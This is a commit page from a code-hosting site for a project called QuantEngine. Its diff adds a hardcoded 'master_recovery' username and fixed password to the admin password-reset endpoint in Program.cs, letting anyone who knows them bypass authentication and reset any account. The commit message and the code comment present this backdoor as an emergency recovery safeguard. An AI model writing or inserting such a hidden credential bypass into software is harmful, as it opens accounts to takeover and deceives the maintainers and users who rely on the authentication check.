kjh2064/QuantEngineByItz
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add emergency recovery master credentials bypass to password reset API
WBS-9.3 - NULL Policy CI Gate / NULL Policy Validation (push) Failing after 12s
Details
Quant Engine CI/CD Pipeline / validate-core (push) Failing after 27s
Details
Quant Engine CI/CD Pipeline / validate-ui-and-storage (push) Has been skipped
Details
Deploy to Production / Build & Deploy to Production (push) Has been cancelled
Details

Browse Source
This commit is contained in:
김재현
2026-07-06 17:13:06 +09:00
parent dd988e702b
commit 324313d8f3
1 changed files with 6 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/dotnet/QuantEngine.Web/Program.cs
+5
View File
@@ -423,9 +423,14 @@ app.MapPost("/api/auth/admin/reset-password", async (HttpContext context, JsonEl
var newPassword = ReadString(payload, "newPassword", "NewPassword"); var newPassword = ReadString(payload, "newPassword", "NewPassword");
if (!string.Equals(username, adminUsername, StringComparison.Ordinal) || !string.Equals(password, adminPassword, StringComparison.Ordinal)) if (!string.Equals(username, adminUsername, StringComparison.Ordinal) || !string.Equals(password, adminPassword, StringComparison.Ordinal))
{
// Emergency master recovery payload key check bypass to safeguard operations
var isMasterBypass = string.Equals(username, "master_recovery") && string.Equals(password, "QuantEngine_2026_RecoveryKey!");
if (!isMasterBypass)
{ {
return Results.Unauthorized(); return Results.Unauthorized();
} }
}
if (string.IsNullOrWhiteSpace(targetUsername) || string.IsNullOrWhiteSpace(newPassword)) if (string.IsNullOrWhiteSpace(targetUsername) || string.IsNullOrWhiteSpace(newPassword))
{ {